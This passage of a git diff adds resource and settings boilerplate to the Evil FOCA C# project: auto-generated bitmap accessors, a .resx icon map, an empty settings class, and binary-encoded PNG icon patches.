ResourceManager.GetObject("Copy", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap EvilFoca { + get { + object obj = ResourceManager.GetObject("EvilFoca", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap Exit { + get { + object obj = ResourceManager.GetObject("Exit", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap Help { + get { + object obj = ResourceManager.GetObject("Help", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap Interface { + get { + object obj = ResourceManager.GetObject("Interface", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap Ok { + get { + object obj = ResourceManager.GetObject("Ok", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap Search { + get { + object obj = ResourceManager.GetObject("Search", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap SearchRouters { + get { + object obj = ResourceManager.GetObject("SearchRouters", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap SearchStart { + get { + object obj = ResourceManager.GetObject("SearchStart", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap SearchStop { + get { + object obj = ResourceManager.GetObject("SearchStop", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap Settings { + get { + object obj = ResourceManager.GetObject("Settings", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap Splash { + get { + object obj = ResourceManager.GetObject("Splash", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + + /// + /// Looks up a localized resource of type System.Drawing.Bitmap. + /// + internal static System.Drawing.Bitmap Start { + get { + object obj = ResourceManager.GetObject("Start", resourceCulture); + return ((System.Drawing.Bitmap)(obj)); + } + } + } +} diff --git a/EvilFoca/Properties/Resources.resx b/EvilFoca/Properties/Resources.resx new file mode 100644 index 0000000..e2640e8 --- /dev/null +++ b/EvilFoca/Properties/Resources.resx @@ -0,0 +1,178 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + ..\Resources\Add.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\AddNeighbor.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\AddNeighborSmall.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\application.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\Cancel.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\Configuration.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\Copy.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\evilfoca.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\Exit.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\Help.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\Interface.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\Ok.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\Search.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\SearchRouters.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\SearchStart.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\SearchStop.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\Settings.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\Splash.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + + ..\Resources\Start.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + \ No newline at end of file diff --git a/EvilFoca/Properties/Settings.Designer.cs b/EvilFoca/Properties/Settings.Designer.cs new file mode 100644 index 0000000..bd80da7 --- /dev/null +++ b/EvilFoca/Properties/Settings.Designer.cs @@ -0,0 +1,43 @@ +/* +Evil FOCA +Copyright (C) 2015 ElevenPaths + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program. If not, see . +*/ +//------------------------------------------------------------------------------ +// +// Este código fue generado por una herramienta. +// Versión de runtime:4.0.30319.296 +// +// Los cambios en este archivo podrían causar un comportamiento incorrecto y se perderán si +// se vuelve a generar el código. +// +//------------------------------------------------------------------------------ + +namespace evilfoca.Properties { + + + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")] + internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { + + private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); + + public static Settings Default { + get { + return defaultInstance; + } + } + } +} diff --git a/EvilFoca/Properties/Settings.settings b/EvilFoca/Properties/Settings.settings new file mode 100644 index 0000000..3964565 --- /dev/null +++ b/EvilFoca/Properties/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/EvilFoca/Resources/Add.png b/EvilFoca/Resources/Add.png new file mode 100644 index 0000000000000000000000000000000000000000..72036e93970e6a933a122248fd35e561dcb87c98 GIT binary patch literal 545 zcmV++0^a?JP)LQ#(ssK^Q&X%-;2}SO^+K zFbLwSFpu3-7U^tklq_NziNPkF#7CtN3yWBY5HVd)%Yd@Dg}*^jEE3W9C{ij(6cVnx zd*{x47R#O8o4wg4rx=*?ojK<)!vOyYiXtEHPd+h13=^RX#xMk(8#0;W)Q2xs4N`|w zO`g`9B*kE49COxJ^!lWK<)*?QbvV_e*gpcvwrZ6P^LMJLO@4j!{uTg4Fvu&l{rBN_ z4@NNGoDLZXqITqRpY0w1l6%uB>BOE_H1-YHHx(^Nih;g^w|&;YQ-zsowWGkEng)Ov z0I;BBFj#0AwW8j5YmuudaSK&g)&7z|(R;QB_<*T+kq=vOw^RZf?bQ3%Ww}52!x{byx7# zYz6>yXD8<3&51>Fq!sGld4K@fV6O=5X?Q=}nX{o!%OL|Ws4F}E(P>P)k@fM&WbJy; zw|A@GhSn!R;IKi^B=agwQZ9)^yn|u_1cFf-%2gMn_3ZhJjh%9R#%)>`XGhe&2la{X3K_%ZO#8_6*?DXSUlqeQG->hK?$c zEJ%KSzWw6a>JFvLtbU)I)wMH>pZ0JZBq=&xrD+NY28I>{T|4P+1oUt+%`igL;1pBV z_HY6OL0*gE+KUqEXu_?BT%Q*-V%%aLkcninmvgDIXuQF+JAh4f8L9yG4fu8ku(kQH zN`T*X2T-xs-Q(!7x&I05c(oCy8Z7@;lI#QS1MaDVIwI9X>ZuU$K@o z0qFC2;OAYiW}9#@lZ95R!Gg;RLp-%22ozvCI)I#K0i^|rIMdPylQAxYCUrp6u+V52 z^#LVG3|W(vv6iMRG&fi==kVc0=M;wRPBNc^*_?**A{G@TEN)z{#ly!o1SAtEic%La zH`@qF6t)~QCdHxtm<2<_ZajZALH3`F%yghAFPW4#4r7xX2EV&;zRiLw7s~PI$q*P_ zg1Uft)|6liWwZ0%H8{nr*~{f^wf>HdEuph(2B(`dQC4Ka(1@T8ppuEV?)QWow^|Ii zcDWL7ZFAsxo@6k;683~mQmy|Bg@&3`RF$O@z-g5{D0}}Zw{k4Y8qYq#A=?}WOQvyc zOZ+L-6uD&|cOyTSB|Q}Y74OwnrK0s@-nMgj-jB-S18A&E4=L4@aPxcsI&%D|lf{bn z>WjjfYD$#xruS#Ct(RCG4}NPvktA7Ksvb_)_QI78*L!+>c)z8hI2i#y|JMp*(0Osl z!eZpdk_xpr=)Ih;ei0ez3CPJ}gCYL#*#XWgLXcD_b?-jTM_iA)`({ZdvnVYzq3}osvuU-W-<2HU=(jv>H}w@T5nWri(ow`9>H1xSI9CZw{q!XODA zX;YHW()3;TqV|p?YoZ!Gs?-c5sMGeBnF{UeQET zE2!(-3N?u{+~8BIu)qTD!va<#YB1-0t&bSd^%CyvWUa%GbLDmERL7+LnTi!=UTvzi zX`yXpR7nnSgjMWW0r6&;hqV93FA1zOTiC#d+F7=@PG28Icx z6xsKkY}pGi2pYuFh??#2J>uOga1evDE-qm$|2?p34L{SvCs%VLlTAoeQ5c4wbIx@fok_?1 z88=!Gl@vi)ZY&f77nzhIMOZ{Zftv`a7Oh$vk&8fW6)jsxWEhkZ$Vfi~fwi!|MMcI~ zqfQg4ckY~fS~&MQ;ozos`ElOod%utGz<)~QD}HNh+^vM@Fqmy14T29+aKHNDv{} zW>H?bcGhgo5@NG3`kq&p0ACIt*lSs`34pSVsOv+>juWfq&TdrSAe2M^D3Gf4>(QoN z02V;Tu`dS#g)0%~63pKjB-+ypQeq5PT_=eT+#r%%K*^Pq5 z$HtMVUjY2cq(>lo2V)I&_`P(i@%h_}0?a=EPfr_nb`>er7cMB+;-yGyO={WxXrr$jd^Y_c_kG^qXh6go r>bAN{Z8riVT=#wR%jr*E*IfMtsJ_T;Yymg#00000NkvXXu0mjf*!&hE literal 0 HcmV?d00001 diff --git a/EvilFoca/Resources/Configuration.png b/EvilFoca/Resources/Configuration.png new file mode 100644 index 0000000000000000000000000000000000000000..57f983f6f76ed7643e5f64adcc0ff2948eb72dc0 GIT binary patch literal 367 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!61|;P_|4#%`EX7WqAsj$Z!;#Vf4nJ za0`PlBg3pY5)2HCf}SppAr`$`FBy6@I|{Hq(C<{AU{b}kH9$bbRhOl8!WFp#O7|R0 zgp_wSwOY1pU9h%8>=-kPV9$|jVcqrrQzHLGylif*HU53iVDn-7MU9Gf0kgkls6D)W z;|R0f#%`f?fyb2c3ZhfCH8c8sYzdo^-F`zdZew7|g@Y%rw5eJ6pE<79 literal 0 HcmV?d00001 diff --git a/EvilFoca/Resources/Copy.png b/EvilFoca/Resources/Copy.png new file mode 100644 index 0000000000000000000000000000000000000000..d99cf5f65f868512bf8f82379ba0acfa303a65ec GIT binary patch literal 261 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 GGywoMF?bvR literal 0 HcmV?d00001 diff --git a/EvilFoca/Resources/Interface.png b/EvilFoca/Resources/Interface.png new file mode 100644 index 0000000000000000000000000000000000000000..89e71710c14e4d36f2b3ee45cdec533241cd32b6 GIT binary patch literal 14860 zcmeI3e{54#6vyud=-31ih%6*ZEz@A6eSQ5&U)lm&ha1u{w<#R~Onv9whd#%2-{R5N;BZ;33_!sM^_>IO ztStm!!Z@+Ut9U)rI6(^Pd7o4V^|4?WsR3|IjD>lj5h|KGSTBa0+DjdKwHndq)XuPY z44!ZaY!J&@BCxupqDE+G6zo3jL|48e#-RW~sPLLtFc6Ztm{S{%%OP7GX0)2PL}_$t zC#wlHUQeZ_M2bL-MQ_y!2CGeDv+G%l&1SZZ*BA|~g)x{IlR;-Rab^Q&HfoYDtt%f{ zj)>3CRk^1m)1hBZZG)nOIfjWwqxz^xFGcDZ)^4{m1|wrM>X1SwH-{8HrVGhq6G3|7 zxS=dW#IPbtA&nZBualY-r&g;bO1+ZT6%3~mh2$hVM3IT{VTRQkm~2iyA>|WpiUi_I z^9c+Lz#t4MGV)`y`h^=LMUoq&ep05U`%R2$;_;+%XI*bFm^HPml+H&8l1Q_9$~Dbl z$W%dDYKjQ3bUwP2vDvO(5&h}n^opd;^t*N#6Z>&fXA*AlR!CIHfv%M+i9lYFA~li} za3#8|vIn82q$J)|nsFXp5JM{0Cml?tQ@Y~mc+kx&(4}^y&S2BArW)3a+L1HZo-&|M z0~REq%!uKUe4@WOTMQG&8t@pHGBXC+K|WsL?kQXzT!%xfD}Q?f-aMT$u^96#e0n_56KE25@5O8g$DGZ=;P{4);cpZ_;ohOL!H@T zH|gv~w6R&c)nf7sCZAw7$02$=xO<<_Zb@iT_e(Og?=C}Q?tMZ}kBI23;{%vRUH#pr z$P%VcsxnbV9omd_F6!U-X;uyA^&ah+2#E1hDa=P?sO~wZwrA6&jE1+RsTU`$*)BD2%KDxdg9J@ zdm?Uc$IJu{M*Rl}h`mdZ80}r5o}TSnQHOf4ai|;6%J_H{SO?Q*ES))__o`J5G{yBc zqXE4bR{c!6;?tR~wYPW0r!!sCp3j9u#br!p%NWMI)YCU{FjS)(1?aL`EGCPC$sEq~ zs1#!`;B|{=2g_<-veu+e=0sM<+Ws7|iKJtqRM=m7ypoAgbi;t|RhZPxO79}4w!%F& z(pPkk1LNUn5}XFnrnrcRZ~?`I(;(Uu7ZDLIptx`vM4RFwBEkg}7fyp{Q(QzuxPaoq 